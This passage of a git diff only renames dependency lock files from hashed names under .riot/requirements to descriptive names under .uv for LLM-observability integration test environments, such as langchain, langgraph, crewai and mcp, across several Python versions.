--git a/.riot/requirements/d0b2693.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py312-claude-agent-sdk-0-1-29.txt similarity index 100% rename from .riot/requirements/d0b2693.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py312-claude-agent-sdk-0-1-29.txt diff --git a/.riot/requirements/64e19b6.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py312-claude-agent-sdk-0-1-49.txt similarity index 100% rename from .riot/requirements/64e19b6.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py312-claude-agent-sdk-0-1-49.txt diff --git a/.riot/requirements/16dd69c.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py312-claude-agent-sdk-latest.txt similarity index 100% rename from .riot/requirements/16dd69c.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py312-claude-agent-sdk-latest.txt diff --git a/.riot/requirements/4688b07.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py313-claude-agent-sdk-0-0-23.txt similarity index 100% rename from .riot/requirements/4688b07.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py313-claude-agent-sdk-0-0-23.txt diff --git a/.riot/requirements/10ebbfc.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py313-claude-agent-sdk-0-1-29.txt similarity index 100% rename from .riot/requirements/10ebbfc.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py313-claude-agent-sdk-0-1-29.txt diff --git a/.riot/requirements/1694e39.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py313-claude-agent-sdk-0-1-49.txt similarity index 100% rename from .riot/requirements/1694e39.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py313-claude-agent-sdk-0-1-49.txt diff --git a/.riot/requirements/51de86b.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py313-claude-agent-sdk-latest.txt similarity index 100% rename from .riot/requirements/51de86b.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py313-claude-agent-sdk-latest.txt diff --git a/.riot/requirements/11b45d7.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py314-claude-agent-sdk-0-0-23.txt similarity index 100% rename from .riot/requirements/11b45d7.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py314-claude-agent-sdk-0-0-23.txt diff --git a/.riot/requirements/14d8da4.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py314-claude-agent-sdk-0-1-29.txt similarity index 100% rename from .riot/requirements/14d8da4.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py314-claude-agent-sdk-0-1-29.txt diff --git a/.riot/requirements/95ed7fd.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py314-claude-agent-sdk-0-1-49.txt similarity index 100% rename from .riot/requirements/95ed7fd.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py314-claude-agent-sdk-0-1-49.txt diff --git a/.riot/requirements/11d1399.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py314-claude-agent-sdk-latest.txt similarity index 100% rename from .riot/requirements/11d1399.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py314-claude-agent-sdk-latest.txt diff --git a/.riot/requirements/12afae4.txt b/.uv/llmobs-crewai--crewai-py310-crewai-0-102-0.txt similarity index 100% rename from .riot/requirements/12afae4.txt rename to .uv/llmobs-crewai--crewai-py310-crewai-0-102-0.txt diff --git a/.riot/requirements/e7249f1.txt b/.uv/llmobs-crewai--crewai-py310-crewai-latest.txt similarity index 100% rename from .riot/requirements/e7249f1.txt rename to .uv/llmobs-crewai--crewai-py310-crewai-latest.txt diff --git a/.riot/requirements/1aa7f8c.txt b/.uv/llmobs-crewai--crewai-py311-crewai-0-102-0.txt similarity index 100% rename from .riot/requirements/1aa7f8c.txt rename to .uv/llmobs-crewai--crewai-py311-crewai-0-102-0.txt diff --git a/.riot/requirements/1ce4995.txt b/.uv/llmobs-crewai--crewai-py311-crewai-latest.txt similarity index 100% rename from .riot/requirements/1ce4995.txt rename to .uv/llmobs-crewai--crewai-py311-crewai-latest.txt diff --git a/.riot/requirements/98b12b1.txt b/.uv/llmobs-crewai--crewai-py312-crewai-0-102-0.txt similarity index 100% rename from .riot/requirements/98b12b1.txt rename to .uv/llmobs-crewai--crewai-py312-crewai-0-102-0.txt diff --git a/.riot/requirements/8b7e1b6.txt b/.uv/llmobs-crewai--crewai-py312-crewai-latest.txt similarity index 100% rename from .riot/requirements/8b7e1b6.txt rename to .uv/llmobs-crewai--crewai-py312-crewai-latest.txt diff --git a/.riot/requirements/1b1f73d.txt b/.uv/llmobs-google-adk--google-adk-py310-google-adk-1-0-0.txt similarity index 100% rename from .riot/requirements/1b1f73d.txt rename to .uv/llmobs-google-adk--google-adk-py310-google-adk-1-0-0.txt diff --git a/.riot/requirements/11e7bf8.txt b/.uv/llmobs-google-adk--google-adk-py310-google-adk-latest.txt similarity index 100% rename from .riot/requirements/11e7bf8.txt rename to .uv/llmobs-google-adk--google-adk-py310-google-adk-latest.txt diff --git a/.riot/requirements/dcd1818.txt b/.uv/llmobs-google-adk--google-adk-py311-google-adk-1-0-0.txt similarity index 100% rename from .riot/requirements/dcd1818.txt rename to .uv/llmobs-google-adk--google-adk-py311-google-adk-1-0-0.txt diff --git a/.riot/requirements/31152cb.txt b/.uv/llmobs-google-adk--google-adk-py311-google-adk-latest.txt similarity index 100% rename from .riot/requirements/31152cb.txt rename to .uv/llmobs-google-adk--google-adk-py311-google-adk-latest.txt diff --git a/.riot/requirements/c9aa18f.txt b/.uv/llmobs-google-adk--google-adk-py312-google-adk-1-0-0.txt similarity index 100% rename from .riot/requirements/c9aa18f.txt rename to .uv/llmobs-google-adk--google-adk-py312-google-adk-1-0-0.txt diff --git a/.riot/requirements/3b723d4.txt b/.uv/llmobs-google-adk--google-adk-py312-google-adk-latest.txt similarity index 100% rename from .riot/requirements/3b723d4.txt rename to .uv/llmobs-google-adk--google-adk-py312-google-adk-latest.txt diff --git a/.riot/requirements/1d8d3c6.txt b/.uv/llmobs-google-adk--google-adk-py313-google-adk-1-0-0.txt similarity index 100% rename from .riot/requirements/1d8d3c6.txt rename to .uv/llmobs-google-adk--google-adk-py313-google-adk-1-0-0.txt diff --git a/.riot/requirements/5b1ab5f.txt b/.uv/llmobs-google-adk--google-adk-py313-google-adk-latest.txt similarity index 100% rename from .riot/requirements/5b1ab5f.txt rename to .uv/llmobs-google-adk--google-adk-py313-google-adk-latest.txt diff --git a/.riot/requirements/2400f2e.txt b/.uv/llmobs-google-adk--google-adk-py314-google-adk-1-0-0.txt similarity index 100% rename from .riot/requirements/2400f2e.txt rename to .uv/llmobs-google-adk--google-adk-py314-google-adk-1-0-0.txt diff --git a/.riot/requirements/1b526a2.txt b/.uv/llmobs-google-adk--google-adk-py314-google-adk-latest.txt similarity index 100% rename from .riot/requirements/1b526a2.txt rename to .uv/llmobs-google-adk--google-adk-py314-google-adk-latest.txt diff --git a/.riot/requirements/103ef63.txt b/.uv/llmobs-google-adk--google-adk-py39-google-adk-1-0-0.txt similarity index 100% rename from .riot/requirements/103ef63.txt rename to .uv/llmobs-google-adk--google-adk-py39-google-adk-1-0-0.txt diff --git a/.riot/requirements/162b59e.txt b/.uv/llmobs-google-adk--google-adk-py39-google-adk-latest.txt similarity index 100% rename from .riot/requirements/162b59e.txt rename to .uv/llmobs-google-adk--google-adk-py39-google-adk-latest.txt diff --git a/.riot/requirements/1360370.txt b/.uv/llmobs-google-genai--google-genai-py310.txt similarity index 100% rename from .riot/requirements/1360370.txt rename to .uv/llmobs-google-genai--google-genai-py310.txt diff --git a/.riot/requirements/e9955b3.txt b/.uv/llmobs-google-genai--google-genai-py311.txt similarity index 100% rename from .riot/requirements/e9955b3.txt rename to .uv/llmobs-google-genai--google-genai-py311.txt diff --git a/.riot/requirements/1bc194f.txt b/.uv/llmobs-google-genai--google-genai-py312.txt similarity index 100% rename from .riot/requirements/1bc194f.txt rename to .uv/llmobs-google-genai--google-genai-py312.txt diff --git a/.riot/requirements/d7e97af.txt b/.uv/llmobs-google-genai--google-genai-py313.txt similarity index 100% rename from .riot/requirements/d7e97af.txt rename to .uv/llmobs-google-genai--google-genai-py313.txt diff --git a/.riot/requirements/11518a9.txt b/.uv/llmobs-google-genai--google-genai-py314.txt similarity index 100% rename from .riot/requirements/11518a9.txt rename to .uv/llmobs-google-genai--google-genai-py314.txt diff --git a/.riot/requirements/153608c.txt b/.uv/llmobs-google-genai--google-genai-py39.txt similarity index 100% rename from .riot/requirements/153608c.txt rename to .uv/llmobs-google-genai--google-genai-py39.txt diff --git a/.riot/requirements/1d20b78.txt b/.uv/llmobs-langchain--langchain-py310-langchain-core-0-1-0-langchain-openai-0-1-0-langchain-anthropic.txt similarity index 100% rename from .riot/requirements/1d20b78.txt rename to .uv/llmobs-langchain--langchain-py310-langchain-core-0-1-0-langchain-openai-0-1-0-langchain-anthropic.txt diff --git a/.riot/requirements/ffee599.txt b/.uv/llmobs-langchain--langchain-py310-langchain-core-0-3-0-langchain-openai-0-3-0-langchain-anthropic.txt similarity index 100% rename from .riot/requirements/ffee599.txt rename to .uv/llmobs-langchain--langchain-py310-langchain-core-0-3-0-langchain-openai-0-3-0-langchain-anthropic.txt diff --git a/.riot/requirements/bf481d9.txt b/.uv/llmobs-langchain--langchain-py310-langchain-core-latest-langchain-openai-latest-langchain-anthropi.txt similarity index 100% rename from .riot/requirements/bf481d9.txt rename to .uv/llmobs-langchain--langchain-py310-langchain-core-latest-langchain-openai-latest-langchain-anthropi.txt diff --git a/.riot/requirements/1f09c40.txt b/.uv/llmobs-langchain--langchain-py311-langchain-core-0-1-0-langchain-openai-0-1-0-langchain-anthropic.txt similarity index 100% rename from .riot/requirements/1f09c40.txt rename to .uv/llmobs-langchain--langchain-py311-langchain-core-0-1-0-langchain-openai-0-1-0-langchain-anthropic.txt diff --git a/.riot/requirements/69b607b.txt b/.uv/llmobs-langchain--langchain-py311-langchain-core-0-3-0-langchain-openai-0-3-0-langchain-anthropic.txt similarity index 100% rename from .riot/requirements/69b607b.txt rename to .uv/llmobs-langchain--langchain-py311-langchain-core-0-3-0-langchain-openai-0-3-0-langchain-anthropic.txt diff --git a/.riot/requirements/1631cdb.txt b/.uv/llmobs-langchain--langchain-py311-langchain-core-latest-langchain-openai-latest-langchain-anthropi.txt similarity index 100% rename from .riot/requirements/1631cdb.txt rename to .uv/llmobs-langchain--langchain-py311-langchain-core-latest-langchain-openai-latest-langchain-anthropi.txt diff --git a/.riot/requirements/166aa1b.txt b/.uv/llmobs-langchain--langchain-py312-langchain-core-0-1-0-langchain-openai-0-1-0-langchain-anthropic.txt similarity index 100% rename from .riot/requirements/166aa1b.txt rename to .uv/llmobs-langchain--langchain-py312-langchain-core-0-1-0-langchain-openai-0-1-0-langchain-anthropic.txt diff --git a/.riot/requirements/1785cfd.txt b/.uv/llmobs-langchain--langchain-py312-langchain-core-0-3-0-langchain-openai-0-3-0-langchain-anthropic.txt similarity index 100% rename from .riot/requirements/1785cfd.txt rename to .uv/llmobs-langchain--langchain-py312-langchain-core-0-3-0-langchain-openai-0-3-0-langchain-anthropic.txt diff --git a/.riot/requirements/1d65880.txt b/.uv/llmobs-langchain--langchain-py312-langchain-core-latest-langchain-openai-latest-langchain-anthropi.txt similarity index 100% rename from .riot/requirements/1d65880.txt rename to .uv/llmobs-langchain--langchain-py312-langchain-core-latest-langchain-openai-latest-langchain-anthropi.txt diff --git a/.riot/requirements/176838a.txt b/.uv/llmobs-langchain--langchain-py39-langchain-core-0-1-0-langchain-openai-0-1-0-langchain-anthropic.txt similarity index 100% rename from .riot/requirements/176838a.txt rename to .uv/llmobs-langchain--langchain-py39-langchain-core-0-1-0-langchain-openai-0-1-0-langchain-anthropic.txt diff --git a/.riot/requirements/39c94a2.txt b/.uv/llmobs-langchain--langchain-py39-langchain-core-0-3-0-langchain-openai-0-3-0-langchain-anthropic.txt similarity index 100% rename from .riot/requirements/39c94a2.txt rename to .uv/llmobs-langchain--langchain-py39-langchain-core-0-3-0-langchain-openai-0-3-0-langchain-anthropic.txt diff --git a/.riot/requirements/148cc44.txt b/.uv/llmobs-langgraph--langgraph-py310-langgraph-0-2-23-variant-1.txt similarity index 100% rename from .riot/requirements/148cc44.txt rename to .uv/llmobs-langgraph--langgraph-py310-langgraph-0-2-23-variant-1.txt diff --git a/.riot/requirements/16781e7.txt b/.uv/llmobs-langgraph--langgraph-py310-langgraph-0-3-21-variant-1.txt similarity index 100% rename from .riot/requirements/16781e7.txt rename to .uv/llmobs-langgraph--langgraph-py310-langgraph-0-3-21-variant-1.txt diff --git a/.riot/requirements/a4d4867.txt b/.uv/llmobs-langgraph--langgraph-py310-langgraph-0-3-22-variant-1.txt similarity index 100% rename from .riot/requirements/a4d4867.txt rename to .uv/llmobs-langgraph--langgraph-py310-langgraph-0-3-22-variant-1.txt diff --git a/.riot/requirements/10f2f3e.txt b/.uv/llmobs-langgraph--langgraph-py310-langgraph-latest-variant-1.txt similarity index 100% rename from .riot/requirements/10f2f3e.txt rename to .uv/llmobs-langgraph--langgraph-py310-langgraph-latest-variant-1.txt diff --git a/.riot/requirements/14bb28e.txt b/.uv/llmobs-langgraph--langgraph-py311-langgraph-0-2-23-variant-1.txt similarity index 100% rename from .riot/requirements/14bb28e.txt rename to .uv/llmobs-langgraph--langgraph-py311-langgraph-0-2-23-variant-1.txt diff --git a/.riot/requirements/f6ccb86.txt b/.uv/llmobs-langgraph--langgraph-py311-langgraph-0-3-21-variant-1.txt similarity index 100% rename from .riot/requirements/f6ccb86.txt rename to .uv/llmobs-langgraph--langgraph-py311-langgraph-0-3-21-variant-1.txt diff --git a/.riot/requirements/153586b.txt b/.uv/llmobs-langgraph--langgraph-py311-langgraph-0-3-22-variant-1.txt similarity index 100% rename from .riot/requirements/153586b.txt rename to .uv/llmobs-langgraph--langgraph-py311-langgraph-0-3-22-variant-1.txt diff --git a/.riot/requirements/a52ca01.txt b/.uv/llmobs-langgraph--langgraph-py311-langgraph-latest-variant-1.txt similarity index 100% rename from .riot/requirements/a52ca01.txt rename to .uv/llmobs-langgraph--langgraph-py311-langgraph-latest-variant-1.txt diff --git a/.riot/requirements/808a746.txt b/.uv/llmobs-langgraph--langgraph-py312-langgraph-0-2-23-variant-1.txt similarity index 100% rename from .riot/requirements/808a746.txt rename to .uv/llmobs-langgraph--langgraph-py312-langgraph-0-2-23-variant-1.txt diff --git a/.riot/requirements/770db03.txt b/.uv/llmobs-langgraph--langgraph-py312-langgraph-0-3-21-variant-1.txt similarity index 100% rename from .riot/requirements/770db03.txt rename to .uv/llmobs-langgraph--langgraph-py312-langgraph-0-3-21-variant-1.txt diff --git a/.riot/requirements/11e37fa.txt b/.uv/llmobs-langgraph--langgraph-py312-langgraph-0-3-22-variant-1.txt similarity index 100% rename from .riot/requirements/11e37fa.txt rename to .uv/llmobs-langgraph--langgraph-py312-langgraph-0-3-22-variant-1.txt diff --git a/.riot/requirements/1f2ce86.txt b/.uv/llmobs-langgraph--langgraph-py312-langgraph-latest-variant-1.txt similarity index 100% rename from .riot/requirements/1f2ce86.txt rename to .uv/llmobs-langgraph--langgraph-py312-langgraph-latest-variant-1.txt diff --git a/.riot/requirements/19d1a31.txt b/.uv/llmobs-langgraph--langgraph-py313-langgraph-0-2-23-variant-1.txt similarity index 100% rename from .riot/requirements/19d1a31.txt rename to .uv/llmobs-langgraph--langgraph-py313-langgraph-0-2-23-variant-1.txt diff --git a/.riot/requirements/ec11642.txt b/.uv/llmobs-langgraph--langgraph-py313-langgraph-0-3-21-variant-1.txt similarity index 100% rename from .riot/requirements/ec11642.txt rename to .uv/llmobs-langgraph--langgraph-py313-langgraph-0-3-21-variant-1.txt diff --git a/.riot/requirements/728c914.txt b/.uv/llmobs-langgraph--langgraph-py313-langgraph-0-3-22-variant-1.txt similarity index 100% rename from .riot/requirements/728c914.txt rename to .uv/llmobs-langgraph--langgraph-py313-langgraph-0-3-22-variant-1.txt diff --git a/.riot/requirements/1010ab9.txt b/.uv/llmobs-langgraph--langgraph-py313-langgraph-latest-variant-1.txt similarity index 100% rename from .riot/requirements/1010ab9.txt rename to .uv/llmobs-langgraph--langgraph-py313-langgraph-latest-variant-1.txt diff --git a/.riot/requirements/3ab1d30.txt b/.uv/llmobs-langgraph--langgraph-py314-langgraph-0-2-23-ormsgpack-gte-1-11-0.txt similarity index 100% rename from .riot/requirements/3ab1d30.txt rename to .uv/llmobs-langgraph--langgraph-py314-langgraph-0-2-23-ormsgpack-gte-1-11-0.txt diff --git a/.riot/requirements/cb657ca.txt b/.uv/llmobs-langgraph--langgraph-py314-langgraph-0-3-21-ormsgpack-gte-1-11-0.txt similarity index 100% rename from .riot/requirements/cb657ca.txt rename to .uv/llmobs-langgraph--langgraph-py314-langgraph-0-3-21-ormsgpack-gte-1-11-0.txt diff --git a/.riot/requirements/675e082.txt b/.uv/llmobs-langgraph--langgraph-py314-langgraph-0-3-22-ormsgpack-gte-1-11-0.txt similarity index 100% rename from .riot/requirements/675e082.txt rename to .uv/llmobs-langgraph--langgraph-py314-langgraph-0-3-22-ormsgpack-gte-1-11-0.txt diff --git a/.riot/requirements/118065f.txt b/.uv/llmobs-langgraph--langgraph-py314-langgraph-latest-ormsgpack-gte-1-11-0.txt similarity index 100% rename from .riot/requirements/118065f.txt rename to .uv/llmobs-langgraph--langgraph-py314-langgraph-latest-ormsgpack-gte-1-11-0.txt diff --git a/.riot/requirements/1eefa95.txt b/.uv/llmobs-langgraph--langgraph-py39-langgraph-0-2-23-variant-1.txt similarity index 100% rename from .riot/requirements/1eefa95.txt rename to .uv/llmobs-langgraph--langgraph-py39-langgraph-0-2-23-variant-1.txt diff --git a/.riot/requirements/4d95852.txt b/.uv/llmobs-langgraph--langgraph-py39-langgraph-0-3-21-variant-1.txt similarity index 100% rename from .riot/requirements/4d95852.txt rename to .uv/llmobs-langgraph--langgraph-py39-langgraph-0-3-21-variant-1.txt diff --git a/.riot/requirements/15db176.txt b/.uv/llmobs-langgraph--langgraph-py39-langgraph-0-3-22-variant-1.txt similarity index 100% rename from .riot/requirements/15db176.txt rename to .uv/llmobs-langgraph--langgraph-py39-langgraph-0-3-22-variant-1.txt diff --git a/.riot/requirements/ab5767e.txt b/.uv/llmobs-langgraph--langgraph-py39-langgraph-latest-variant-1.txt similarity index 100% rename from .riot/requirements/ab5767e.txt rename to .uv/llmobs-langgraph--langgraph-py39-langgraph-latest-variant-1.txt diff --git a/.riot/requirements/a971ee3.txt b/.uv/llmobs-litellm--litellm-py310-litellm-1-65-4-openai-1-68-2.txt similarity index 100% rename from .riot/requirements/a971ee3.txt rename to .uv/llmobs-litellm--litellm-py310-litellm-1-65-4-openai-1-68-2.txt diff --git a/.riot/requirements/d8bb960.txt b/.uv/llmobs-litellm--litellm-py310-litellm-1-80-16-openai-gte-2-8-0.txt similarity index 100% rename from .riot/requirements/d8bb960.txt rename to .uv/llmobs-litellm--litellm-py310-litellm-1-80-16-openai-gte-2-8-0.txt diff --git a/.riot/requirements/4061c90.txt b/.uv/llmobs-litellm--litellm-py311-litellm-1-65-4-openai-1-68-2.txt similarity index 100% rename from .riot/requirements/4061c90.txt rename to .uv/llmobs-litellm--litellm-py311-litellm-1-65-4-openai-1-68-2.txt diff --git a/.riot/requirements/d728b27.txt b/.uv/llmobs-litellm--litellm-py311-litellm-1-80-16-openai-gte-2-8-0.txt similarity index 100% rename from .riot/requirements/d728b27.txt rename to .uv/llmobs-litellm--litellm-py311-litellm-1-80-16-openai-gte-2-8-0.txt diff --git a/.riot/requirements/1229e9a.txt b/.uv/llmobs-litellm--litellm-py312-litellm-1-65-4-openai-1-68-2.txt similarity index 100% rename from .riot/requirements/1229e9a.txt rename to .uv/llmobs-litellm--litellm-py312-litellm-1-65-4-openai-1-68-2.txt diff --git a/.riot/requirements/1e893b9.txt b/.uv/llmobs-litellm--litellm-py312-litellm-1-80-16-openai-gte-2-8-0.txt similarity index 100% rename from .riot/requirements/1e893b9.txt rename to .uv/llmobs-litellm--litellm-py312-litellm-1-80-16-openai-gte-2-8-0.txt diff --git a/.riot/requirements/109a45b.txt b/.uv/llmobs-litellm--litellm-py313-litellm-1-65-4-openai-1-68-2.txt similarity index 100% rename from .riot/requirements/109a45b.txt rename to .uv/llmobs-litellm--litellm-py313-litellm-1-65-4-openai-1-68-2.txt diff --git a/.riot/requirements/27afe82.txt b/.uv/llmobs-litellm--litellm-py313-litellm-1-80-16-openai-gte-2-8-0.txt similarity index 100% rename from .riot/requirements/27afe82.txt rename to .uv/llmobs-litellm--litellm-py313-litellm-1-80-16-openai-gte-2-8-0.txt diff --git a/.riot/requirements/fc54849.txt b/.uv/llmobs-litellm--litellm-py39-litellm-1-65-4-openai-1-68-2.txt similarity index 100% rename from .riot/requirements/fc54849.txt rename to .uv/llmobs-litellm--litellm-py39-litellm-1-65-4-openai-1-68-2.txt diff --git a/.riot/requirements/8d10412.txt b/.uv/llmobs-litellm--litellm-py39-litellm-1-80-16-openai-gte-2-8-0.txt similarity index 100% rename from .riot/requirements/8d10412.txt rename to .uv/llmobs-litellm--litellm-py39-litellm-1-80-16-openai-gte-2-8-0.txt diff --git a/.riot/requirements/10fe0d5.txt b/.uv/llmobs-llama-index--llama-index-py310-llama-index-core-0-11-0.txt similarity index 100% rename from .riot/requirements/10fe0d5.txt rename to .uv/llmobs-llama-index--llama-index-py310-llama-index-core-0-11-0.txt diff --git a/.riot/requirements/16d58df.txt b/.uv/llmobs-llama-index--llama-index-py310-llama-index-core-latest.txt similarity index 100% rename from .riot/requirements/16d58df.txt rename to .uv/llmobs-llama-index--llama-index-py310-llama-index-core-latest.txt diff --git a/.riot/requirements/1e7fb87.txt b/.uv/llmobs-llama-index--llama-index-py311-llama-index-core-0-11-0.txt similarity index 100% rename from .riot/requirements/1e7fb87.txt rename to .uv/llmobs-llama-index--llama-index-py311-llama-index-core-0-11-0.txt diff --git a/.riot/requirements/a20816c.txt b/.uv/llmobs-llama-index--llama-index-py311-llama-index-core-latest.txt similarity index 100% rename from .riot/requirements/a20816c.txt rename to .uv/llmobs-llama-index--llama-index-py311-llama-index-core-latest.txt diff --git a/.riot/requirements/aa305b8.txt b/.uv/llmobs-llama-index--llama-index-py312-llama-index-core-0-11-0.txt similarity index 100% rename from .riot/requirements/aa305b8.txt rename to .uv/llmobs-llama-index--llama-index-py312-llama-index-core-0-11-0.txt diff --git a/.riot/requirements/1df6dfb.txt b/.uv/llmobs-llama-index--llama-index-py312-llama-index-core-latest.txt similarity index 100% rename from .riot/requirements/1df6dfb.txt rename to .uv/llmobs-llama-index--llama-index-py312-llama-index-core-latest.txt diff --git a/.riot/requirements/179eaa2.txt b/.uv/llmobs-llama-index--llama-index-py313-llama-index-core-0-11-0.txt similarity index 100% rename from .riot/requirements/179eaa2.txt rename to .uv/llmobs-llama-index--llama-index-py313-llama-index-core-0-11-0.txt diff --git a/.riot/requirements/b5739b8.txt b/.uv/llmobs-llama-index--llama-index-py313-llama-index-core-latest.txt similarity index 100% rename from .riot/requirements/b5739b8.txt rename to .uv/llmobs-llama-index--llama-index-py313-llama-index-core-latest.txt diff --git a/.riot/requirements/199bb00.txt b/.uv/llmobs-llmobs--llmobs-py310-pydantic-1-10.txt similarity index 100% rename from .riot/requirements/199bb00.txt rename to .uv/llmobs-llmobs--llmobs-py310-pydantic-1-10.txt diff --git a/.riot/requirements/ab32063.txt b/.uv/llmobs-llmobs--llmobs-py310-vcrpy-latest-openai-latest-google-cloud-aiplatform-latest-boto3-2.txt similarity index 100% rename from .riot/requirements/ab32063.txt rename to .uv/llmobs-llmobs--llmobs-py310-vcrpy-latest-openai-latest-google-cloud-aiplatform-latest-boto3-2.txt diff --git a/.riot/requirements/e98b1fe.txt b/.uv/llmobs-llmobs--llmobs-py311-pydantic-1-10.txt similarity index 100% rename from .riot/requirements/e98b1fe.txt rename to .uv/llmobs-llmobs--llmobs-py311-pydantic-1-10.txt diff --git a/.riot/requirements/74acf7c.txt b/.uv/llmobs-llmobs--llmobs-py311-vcrpy-latest-openai-latest-google-cloud-aiplatform-latest-boto3-2.txt similarity index 100% rename from .riot/requirements/74acf7c.txt rename to .uv/llmobs-llmobs--llmobs-py311-vcrpy-latest-openai-latest-google-cloud-aiplatform-latest-boto3-2.txt diff --git a/.riot/requirements/18538d1.txt b/.uv/llmobs-llmobs--llmobs-py312-pydantic-1-10.txt similarity index 100% rename from .riot/requirements/18538d1.txt rename to .uv/llmobs-llmobs--llmobs-py312-pydantic-1-10.txt diff --git a/.riot/requirements/8f50d1d.txt b/.uv/llmobs-llmobs--llmobs-py312-vcrpy-latest-openai-latest-google-cloud-aiplatform-latest-boto3-2.txt similarity index 100% rename from .riot/requirements/8f50d1d.txt rename to .uv/llmobs-llmobs--llmobs-py312-vcrpy-latest-openai-latest-google-cloud-aiplatform-latest-boto3-2.txt diff --git a/.riot/requirements/19f423c.txt b/.uv/llmobs-llmobs--llmobs-py313-pydantic-1-10.txt similarity index 100% rename from .riot/requirements/19f423c.txt rename to .uv/llmobs-llmobs--llmobs-py313-pydantic-1-10.txt diff --git a/.riot/requirements/7667b27.txt b/.uv/llmobs-llmobs--llmobs-py313-vcrpy-latest-openai-latest-google-cloud-aiplatform-latest-boto3-2.txt similarity index 100% rename from .riot/requirements/7667b27.txt rename to .uv/llmobs-llmobs--llmobs-py313-vcrpy-latest-openai-latest-google-cloud-aiplatform-latest-boto3-2.txt diff --git a/.riot/requirements/1e8336a.txt b/.uv/llmobs-llmobs--llmobs-py39-pydantic-1-10.txt similarity index 100% rename from .riot/requirements/1e8336a.txt rename to .uv/llmobs-llmobs--llmobs-py39-pydantic-1-10.txt diff --git a/.riot/requirements/1d79243.txt b/.uv/llmobs-llmobs--llmobs-py39-vcrpy-latest-openai-latest-google-cloud-aiplatform-latest-boto3.txt similarity index 100% rename from .riot/requirements/1d79243.txt rename to .uv/llmobs-llmobs--llmobs-py39-vcrpy-latest-openai-latest-google-cloud-aiplatform-latest-boto3.txt diff --git a/.riot/requirements/c815af0.txt b/.uv/llmobs-mcp--mcp-py310-mcp-1-10-0.txt similarity index 100% rename from .riot/requirements/c815af0.txt rename to .uv/llmobs-mcp--mcp-py310-mcp-1-10-0.txt diff --git a/.riot/requirements/ebf73f9.txt b/.uv/llmobs-mcp--mcp-py310-mcp-latest.txt similarity index 100% rename from .riot/requirements/ebf73f9.txt rename to .uv/llmobs-mcp--mcp-py310-mcp-latest.txt diff --git a/.riot/requirements/5a978d2.txt b/.uv/llmobs-mcp--mcp-py311-mcp-1-10-0.txt similarity index 100% rename from .riot/requirements/5a978d2.txt rename to .uv/llmobs-mcp--mcp-py311-mcp-1-10-0.txt diff --git a/.riot/requirements/145f918.txt b/.uv/llmobs-mcp--mcp-py311-mcp-latest.txt similarity index 100% rename from .riot/requirements/145f918.txt rename to .uv/llmobs-mcp--mcp-py311-mcp-latest.txt diff --git a/.riot/requirements/ff873f4.txt b/.uv/llmobs-mcp--mcp-py312-mcp-1-10-0.txt similarity index 100% rename from .riot/requirements/ff873f4.txt rename to .uv/llmobs-mcp--mcp-py312-mcp-1-10-0.txt diff --git a/.riot/requirements/1531241.txt b/.uv/llmobs-mcp--mcp-py312-mcp-latest.txt similarity index 100% rename from .riot/requirements/1531241.txt rename to .uv/llmobs-mcp--mcp-py312-mcp-latest.txt diff --git a/.riot/requirements/1aa359d.txt b/.uv/llmobs-mcp--mcp-py313-mcp-1-10-0.txt similarity index 100% rename from .riot/requirements/1aa359d.txt rename to .uv/llmobs-mcp--mcp-py313-mcp-1-10-0.txt diff --git a/.riot/requirements/1592050.txt b/.uv/llmobs-mcp--mcp-py313-mcp-latest.txt similarity index 100% rename from .riot/requirements/1592050.txt rename to .uv/llmobs-mcp--mcp-py313-mcp-latest.txt diff --git a/.riot/requirements/6939c9a.txt b/.uv/llmobs-mcp--mcp-py314-mcp-1-10-0.txt similarity index 100% rename from .riot/requirements/6939c9a.txt rename to .uv/llmobs-mcp--mcp-py314-mcp-1-10-0.txt diff --git a/.riot/requirements/fe50ba7.txt b/.uv/llmobs-mcp--mcp-py314-mcp-latest.txt similarity index 100% rename from .riot/requirements/fe50ba7.txt rename to .uv/llmobs-mcp--mcp-py314-mcp-latest.txt diff --git a/.riot/requirements/1ad28e8.txt b/.uv/llmobs-mistralai--mistralai-py310-mistralai-2-0-0.txt similarity index 100% rename from .riot/requirements/1ad28e8.txt rename to .uv/llmobs-mistralai--mistralai-py310-mistralai-2-0-0.txt diff --git a/.riot/requirements/11193ae.txt b/.uv/llmobs-mistralai--mistralai-py310-mistralai-latest.txt similarity index 100% rename from .riot/requirements/11193ae.txt rename to .uv/llmobs-mistralai--mistralai-py310-mistralai-latest.txt diff --git a/.riot/requirements/ce98c3e.txt b/.uv/llmobs-mistralai--mistralai-py311-mistralai-2-0-0.txt similarity index 100% rename from .riot/requirements/ce98c3e.txt rename to .uv/llmobs-mistralai--mistralai-py311-mistralai-2-0-0.txt diff --git a/.riot/requirements/faf1e22.txt b/.uv/llmobs-mistralai--mistralai-py311-mistralai-latest.txt similarity index 100% rename from .riot/requirements/faf1e22.txt rename to .uv/llmobs-mistralai--mistralai-py311-mistralai-latest.txt diff --git a/.riot/requirements/b1072c1.txt b/.uv/llmobs-mistralai--mistralai-py312-mistralai-2-0-0.txt similarity index 100% rename from .riot/requirements/b1072c1.txt rename to .uv/llmobs-mistralai--mistralai-py312-mistralai-2-0-0.txt diff --git a/.riot/requirements/1458a81.txt b/.uv/llmobs-mistralai--mistralai-py312-mistralai-latest.txt similarity index 100% rename from 